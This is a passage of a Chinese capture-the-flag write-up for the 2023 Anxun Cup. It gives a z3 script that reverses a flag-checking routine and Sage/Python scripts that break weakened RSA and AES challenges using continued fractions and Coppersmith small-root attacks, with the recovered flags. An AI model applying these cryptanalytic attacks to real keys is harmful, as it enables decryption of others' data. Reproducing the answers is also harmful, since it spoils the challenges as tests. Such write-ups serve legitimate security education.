enc=[    0x4D, 0x63, 0x5D, 0x34, 0x43, 0x09, 0xA2, 0x77, 0x0A, 0xBF,   0xC9, 0xB3, 0xE9, 0x6F, 0x79, 0x7D, 0x7B, 0xE8, 0x99, 0x90,   0x43, 0x08, 0xBB, 0x99, 0x0E, 0x2E, 0xD4, 0x7B, 0x27, 0xB7, ]# data2=[  0x9B, 0x4B, 0x7B, 0xBA, 0x9B, 0x0B, 0x9B, 0xE6, 0x7B, 0x5B, #   0xCB, 0x9B, 0xCB, 0x9B, 0x7B, 0x7B, 0x9B, 0xCB, 0x9B, 0xCB, #   0x5B, 0x7B, 0xE6, 0x9B, 0x0B, 0x9B, 0xBA, 0x7B, 0x4B, 0x9B,]# for i,j in zip(enc,data2):#     print(chr(i^j^ord('a')),end='')def encrypt():    global x    x[0] += 2;    x[1] -= 28;    x[2] ^= 0x47;    x[3] += x[4];    x[5] += 73;    x[6] += 12;    x[7] -= x[8];    x[8] ^= 0x5A;    x[9] ^= 0x22;    x[0xA] += 20;    x[0xC] -= 84;    x[0xD] ^= 4;    x[0xE] ^= 0x1C;    x[0x11]-=1    x[0x1b]^= 0x11;    x[0x1c] ^= 3;    for i in range(30):        x[i]&=0xffdef rev():    global x    x= x[::-1]def enc1():    global x    for i in range(30):        x[i] = (0x17^(x[i]+0xa))
def enc1():    global x    for i in range(30):        x[i] = (0x17^(x[i]+0xa))def enc2():    global x    for i in range(30):        x[i] = (0x17^(x[i]+0x10))def info():    return    global x    for i in x:        print(hex(i),end=' ')    print()
cin= "1234567890abcdefghijklmnopqrstuv"[:30]from z3 import *

print()x=[BitVec('x[%d]'%i,8) for i in range(30)]
enc1()info()encrypt()info()rev()info()
encrypt()info()rev()info()
enc2()info()encrypt()info()rev()info()
encrypt()info()rev()info()S=Solver()for i in range(30):    S.add(x[i] == enc[i])S.check()print(S.model())# data=[ 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x57, 0x56, 0x55, 0x54, 0x2D, #   0x7C, 0x7B, 0x7A, 0x79, 0x78, 0x67, 0x66, 0x65, 0x64, 0x63, #   0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x6B, 0x6A, 0x69, ]# for i in data:#     print(hex(i),end=' ')# encrypt()# data=[ 0x2E, 0x0F, 0x6D, 0x51, 0x28, 0xA0, 0x62, 0x01, 0x0E, 0x0F, #   0x90, 0x7B, 0x26, 0x7D, 0x64, 0x67, 0x66, 0x64, 0x64, 0x63, #   0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x7A, 0x69, 0x69, ]# #change index# data=[  0x69, 0x69, 0x7A, 0x6C, 0x6D, 0x6E, 0x6F, 0x60, 0x61, 0x62, #   0x63, 0x64, 0x64, 0x66, 0x67, 0x64, 0x7D, 0x26, 0x7B, 0x90, #   0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x6D, 0x0F, 0x2E]# encrypt()# data=[0x6B, 0x4D, 0x3D, 0xD9, 0x6D, 0xB7, 0x7B, 0xFF, 0x3B, 0x40, #   0x77, 0x64, 0x10, 0x62, 0x7B, 0x64, 0x7D, 0x25, 0x7B, 0x90, #   0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x7C, 0x0C, 0x2E, ]# #change index# data=[  0x29, 0x0B, 0x9B, 0x76, 0x2F, 0xA7, 0x65, 0x06, 0x09, 0x08, #   0xB7, 0x9C, 0x22, 0x9A, 0x63, 0x9C, 0x65, 0x37, 0x63, 0x90, #   0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x5A, 0x4A, 0x6C]# encrypt()# data=[  0x2B, 0xEF, 0xDC, 0xA5, 0x2F, 0xF0, 0x71, 0xFD, 0x53, 0x2A, #   0xCB, 0x9C, 0xCE, 0x9E, 0x7F, 0x9C, 0x65, 0x36, 0x63, 0x90, #   0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x4B, 0x49, 0x6C, ]# #change index# data=[ 0x6C, 0x49, 0x4B, 0xFE, 0x6A, 0xD0, 0x9C, 0x18, 0x5C, 0x47, #   0x90, 0x63, 0x36, 0x65, 0x9C, 0x7F, 0x9E, 0xCE, 0x9C, 0xCB, #   0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xDC, 0xEF, 0x2B]# encrypt()# data=[  0x6E, 0x2D, 0x0C, 0x68, 0x6A, 0x19, 0xA8, 0xBC, 0x06, 0x65, #   0xA4, 0x63, 0xE2, 0x61, 0x80, 0x7F, 0x9E, 0xCD, 0x9C, 0xCB, #   0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xCD, 0xEC, 0x2B,]# #change index

CRYPTO

signin

连分数恢复d1、d2

数论变换得到p-q

解方程组得到p、q,rsa解密得到flag

d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
#sage expdata3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588 c = continued_fraction(data3)print(c) alist = c.convergents()# print(alist) for i in alist:    a = str(i).split('/')    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:        print(a)
import libnume = 65537d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
d1 = 97093002077798295469816641595207740909547364338742117628537014186754830773717d2 = 67958620138887907577348085925738704755742144710390414146201367031822084270769t = leak % d1p = var('p')q = var('q')roots = solve(

, p,q, solution_dict=True)p = roots[-1]

q = roots[-1][q]assert p*q==nm = int(pow(c, inverse_mod(e, (p-1)*(q-1)),n))m = int(m-d2)print(libnum.n2s(m))# b'SYC{a00338c150aa3a5163dbf404100e6754}'

CrazyTreat

copper用模的倍数来解小根方程,再是已知高位攻击

import gmpy2 as gpimport libnum, gmpy2from Crypto.Util.number import *clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576e = 65537n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
PR.<m> = PolynomialRing(Zmod(n))f = P*Q-m^2-m*(P-m+Q-m)f = f.monic()m = f.small_roots(X=2^256, beta=0.6)R = int(m[0])
PR.<x> = PolynomialRing(Zmod(clown))f = trick+xx = f.small_roots(X=2^210, beta=0.4)P = trick+int(x[0])Q = clown // Pd = int(gmpy2.invert(e, (P-1)*(Q-1)*(R-1)))m = int(pow(c, d, P*Q*R))print(libnum.n2s(m))# b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'

Alexei needs help

用循环代替递归、取模等方法减小时间复杂度

from random import randintimport gmpy2 as gpfrom Crypto.Util.number import *from Crypto.Cipher import AESfrom hashlib import md5from binascii import *import sys
a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'n = 2023def seqsum(i):  ans = 0  for j in range(len(seq)):    ans += (gp.powmod(i,j,m)*seq[j])% m  # 取模,减小规模加快运算  return ans
tt = [1, 1, 1]def homework(i):  for _ in range(3, i+10):    tt.append((a * tt[-1] + b * tt[- 2] + seqsum(_)) % m)  # 利用循环代替递归,避免重复运算  return tt[i]

ans = homework(n)
k = unhexlify(md5(str(ans).encode()).hexdigest())aes = AES.new(k,AES.MODE_ECB)m = aes.decrypt(long_to_bytes(int(ct,16)))print(m)# c7ceedc7197a0d350025fff478f667293ebbaa6b# SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

安洵杯2023 Writeup -Polaris战队
安洵杯2023 Writeup -Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月14日08:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安洵杯2023 Writeup -Polaris战队https://cn-sec.com/archives/1803938.html

发表评论

匿名网友 填写信息